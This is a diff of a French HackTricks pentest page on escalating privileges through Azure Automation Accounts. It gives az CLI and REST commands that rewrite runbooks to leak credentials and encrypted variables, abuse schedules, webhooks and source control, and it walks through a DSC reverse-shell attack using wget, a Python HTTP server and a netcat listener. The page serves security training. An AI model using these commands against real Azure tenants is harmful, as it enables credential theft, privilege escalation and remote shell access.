diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index c00ca1d93..311137fbb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -4,7 +4,7 @@ ## Azure Automation Accounts -Pour plus d'informations, consultez : +Pour plus d'informations, voir : {{#ref}} ../az-services/az-automation-accounts.md @@ -12,29 +12,29 @@ Pour plus d'informations, consultez : ### Hybrid Workers Group -- **De l'Automation Account à la VM** +- **De l'Automation Account vers la VM** -Rappelez-vous que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure. +N'oubliez pas que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un hybrid worker, il pourra **pivot** vers l'emplacement de la VM. Cela peut être une machine on-premise, un VPC d'un cloud différent ou même une Azure VM. -De plus, si le travailleur hybride fonctionne dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**. +De plus, si le hybrid worker s'exécute dans Azure avec d'autres Managed Identities attachées, le runbook pourra accéder à la **managed identity du runbook et à toutes les managed identities de la VM via le metadata service**. > [!TIP] -> Rappelez-vous que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**). +> Rappelez-vous que le **metadata service** a une URL différente (**`http://169.254.169.254`**) du service depuis lequel on obtient le token des Managed Identities de l'Automation Account (**`IDENTITY_ENDPOINT`**). -- **De la VM à l'Automation Account** +- **De la VM vers l'Automation Account** -De plus, si quelqu'un compromet une VM où un script de compte d'automatisation est en cours d'exécution, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des jetons pour les **Identités Gérées** attachées au compte d'automatisation. +De plus, si quelqu'un compromet une VM où s'exécute un script d'Automation Account, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des tokens pour les **Managed Identities** attachées à l'Automation Account. -Comme il est possible de le voir dans l'image suivante, avoir un accès Administrateur sur la VM permet de trouver dans les **variables d'environnement du processus** l'URL et le secret pour accéder au service de métadonnées du compte d'automatisation : +Comme on peut le voir dans l'image suivante, en ayant un accès Administrator sur la VM, il est possible de trouver dans les **environment variables of the process** l'URL et le secret permettant d'accéder au automation account metadata service : ![]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation. +En résumé, ces permissions permettent de créer, modifier et exécuter des Runbooks dans l'Automation Account, ce que vous pouvez utiliser pour exécuter du code dans le contexte de l'Automation Account, escalader les privilèges vers les **Managed Identities** assignées et leak des **credentials** et des **encrypted variables** stockés dans l'Automation Account. -L'autorisation **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant : +La permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans l'Automation Account en utilisant : ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Notez comment le script précédent peut être utilisé pour **leak the useranmd and password** d'un identifiant et la valeur d'une **encrypted variable** stockée dans le compte d'automatisation. +Remarquez comment le script précédent peut être utilisé pour **leak the useranmd and password** d'un credential et la valeur d'une **encrypted variable** stockée dans l'Automation Account. -La permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permet à l'utilisateur de publier un Runbook dans le compte d'automatisation afin que les modifications soient appliquées : +La permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permet à l'utilisateur de publier un Runbook dans l'Automation Account pour que les modifications soient appliquées : ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -La permission **`Microsoft.Automation/automationAccounts/jobs/write`** permet à l'utilisateur d'exécuter un Runbook dans le compte d'automatisation en utilisant : +La permission **`Microsoft.Automation/automationAccounts/jobs/write`** permet à l'utilisateur d'exécuter un Runbook dans l'Automation Account en utilisant : ```bash az automation runbook start \ --automation-account-name \ @@ -64,18 +64,18 @@ az automation runbook start \ --name \ [--run-on ] ``` -La permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** permet à l'utilisateur de lire la sortie d'un travail dans le compte d'automatisation en utilisant : +La permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** permet à l'utilisateur de lire la sortie d'un job dans l'Automation Account en utilisant : ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Si aucun Runbook n'est créé, ou si vous souhaitez en créer un nouveau, vous aurez besoin des **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` et `Microsoft.Automation/automationAccounts/runbooks/write`** pour le faire en utilisant : +S'il n'y a pas de Runbooks créés, ou si vous voulez en créer un nouveau, vous aurez besoin des **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` et `Microsoft.Automation/automationAccounts/runbooks/write`** pour le faire en utilisant : ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Cette permission permet à l'utilisateur de **assigner une identité gérée par l'utilisateur** au compte d'automatisation en utilisant : +Cette permission permet à l'utilisateur **d'assigner une user managed identity** à l'Automation Account en utilisant : ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,9 +91,9 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Avec la permission **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouvel horaire dans le compte d'automatisation qui s'exécute toutes les 15 minutes (pas très discret) en utilisant la commande suivante. +Avec l'autorisation **`Microsoft.Automation/automationAccounts/schedules/write`**, il est possible de créer un nouveau Schedule dans l'Automation Account qui s'exécute toutes les 15 minutes (peu discret) en utilisant la commande suivante. -Notez que l'**intervalle minimum pour un horaire est de 15 minutes**, et que le **temps de début minimum est de 5 minutes** dans le futur. +Notez que l'**intervalle minimum pour un Schedule est de 15 minutes**, et que **l'heure de début minimale est de 5 minutes dans le futur**. ```bash ## For linux az automation schedule create \ @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Ensuite, avec la permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, il est possible d'assigner un Scheduler à un runbook en utilisant : +Ensuite, avec l'autorisation **`Microsoft.Automation/automationAccounts/jobSchedules/write`**, il est possible d'affecter un Scheduler à un runbook en utilisant : ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,22 +134,40 @@ az rest --method PUT \ }' ``` > [!TIP] -> Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation. +> Dans l'exemple précédent, l'ID jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d`** à titre d'exemple, mais vous devrez utiliser une valeur arbitraire pour créer cette assignation. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Avec la permission **`Microsoft.Automation/automationAccounts/webhooks/write`**, il est possible de créer un nouveau Webhook pour un Runbook à l'intérieur d'un compte d'automatisation en utilisant la commande suivante. +Avec l'autorisation **`Microsoft.Automation/automationAccounts/webhooks/write`**, il est possible de créer un nouveau Webhook pour un Runbook dans un Automation Account en utilisant l'une des commandes suivantes. + +With Azure Powershell: ```bash New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true ``` -Cette commande devrait renvoyer un URI de webhook qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant l'URI du webhook +Avec AzureCLI et REST : +```bash +az rest --method put \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2015-10-31" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2027-12-31T23:59:59+00:00", +"runOn": "", +"runbook": { +"name": "" +} +} +}' +``` +Ces commandes devraient retourner un webhook URI qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant le webhook URI ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Avec la permission `Microsoft.Automation/automationAccounts/runbooks/draft/write`, il est possible de **mettre à jour le code d'un Runbook** sans le publier et de l'exécuter en utilisant les commandes suivantes. +Rien qu'avec la permission `Microsoft.Automation/automationAccounts/runbooks/draft/write` il est possible de **mettre à jour le code d'un Runbook** sans le publier et de l'exécuter en utilisant les commandes suivantes. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Cette permission permet à l'utilisateur de **configurer un contrôle de source** pour le compte d'automatisation en utilisant des commandes telles que les suivantes (cela utilise Github comme exemple) : +Cette autorisation permet à l'utilisateur de **configurer un contrôle de version** pour l'Automation Account en utilisant une commande telle que la suivante (exemple avec Github) : ```bash az automation source-control create \ --resource-group \ @@ -190,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**. +Cela importera automatiquement les runbooks depuis le dépôt Github vers l'Automation Account et, avec d'autres permissions pour commencer à les exécuter, il serait **possible to escalate privileges**. -De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID géré doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +De plus, souvenez-vous que pour que source control fonctionne dans les Automation Accounts il doit avoir une managed identity avec le rôle **`Contributor`** et si c'est une user managed identity le cleint id du MI doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé. +> Notez qu'il n'est pas possible de changer le repo URL d'un source control une fois qu'il est créé. ### `Microsoft.Automation/automationAccounts/variables/write` -Avec l'autorisation **`Microsoft.Automation/automationAccounts/variables/write`**, il est possible d'écrire des variables dans le compte d'automatisation en utilisant la commande suivante. +Avec la permission **`Microsoft.Automation/automationAccounts/variables/write`** il est possible d'écrire des variables dans l'Automation Account en utilisant la commande suivante. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -215,51 +233,51 @@ az rest --method PUT \ ``` ### Environnements d'exécution personnalisés -Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté. +Si un automation account utilise un custom runtime environment, il peut être possible d'écraser un custom package du runtime avec du code malveillant (comme **a backdoor**). Ainsi, chaque fois qu'un runbook utilisant ce custom runtime est exécuté et charge le custom package, le code malveillant sera exécuté. -### Compromission de la configuration d'état +### Compromettre la configuration d'état -**Consultez le post complet ici :** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) +**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Étape 1 — Créer des fichiers +- Étape 1 — Créer les fichiers **Fichiers requis :** Deux scripts PowerShell sont nécessaires : -1. `reverse_shell_config.ps1` : Un fichier de configuration d'état désiré (DSC) qui récupère et exécute le payload. Il est disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1` : Un script pour publier la configuration sur la VM, disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: un fichier Desired State Configuration (DSC) qui récupère et exécute le payload. Il est disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: un script pour publier la configuration sur la VM, disponible sur [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Personnalisation :** Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, les chemins de fichiers et les identifiants de serveur/payload. +**Personnalisation :** Les variables et paramètres dans ces fichiers doivent être adaptés à l'environnement spécifique de l'utilisateur, y compris les noms de ressources, chemins de fichiers et identifiants de serveur/payload. - Étape 2 — Compresser le fichier de configuration -Le `reverse_shell_config.ps1` est compressé dans un fichier `.zip`, le rendant prêt pour le transfert vers le compte de stockage Azure. +Le fichier `reverse_shell_config.ps1` est compressé dans une archive `.zip`, prêt à être transféré vers l'Azure Storage Account. ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Étape 3 — Définir le contexte de stockage et télécharger +- Étape 3 — Définir le contexte de stockage et téléverser -Le fichier de configuration compressé est téléchargé dans un conteneur de stockage Azure prédéfini, azure-pentest, en utilisant la cmdlet Set-AzStorageBlobContent d'Azure. +Le fichier de configuration zippé est téléversé dans un conteneur Azure Storage prédéfini, azure-pentest, en utilisant le cmdlet Set-AzStorageBlobContent d'Azure. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Étape 4 — Préparer la boîte Kali +- Étape 4 — Préparer la Kali Box Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépôt GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Le script est modifié pour spécifier la VM Windows cible et le port pour le reverse shell. +Le script est modifié pour spécifier la Windows VM cible et le port du reverse shell. -- Étape 5 — Publier le fichier de configuration +- Step 5 — Publish Configuration File -Le fichier de configuration est exécuté, ce qui entraîne le déploiement du script de reverse shell à l'emplacement spécifié sur la VM Windows. +Le fichier de configuration est exécuté, entraînant le déploiement du script reverse-shell à l'emplacement spécifié sur la Windows VM. -- Étape 6 — Héberger la charge utile et configurer l'écouteur +- Step 6 — Host Payload and Setup Listener -Un Python SimpleHTTPServer est démarré pour héberger la charge utile, avec un écouteur Netcat pour capturer les connexions entrantes. +Un Python SimpleHTTPServer est démarré pour héberger le payload, accompagné d'un listener Netcat pour capturer les connexions entrantes. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -La tâche planifiée exécute le payload, atteignant des privilèges de niveau SYSTEM. +La tâche planifiée exécute le payload, obtenant des privilèges au niveau SYSTEM. {{#include ../../../banners/hacktricks-training.md}}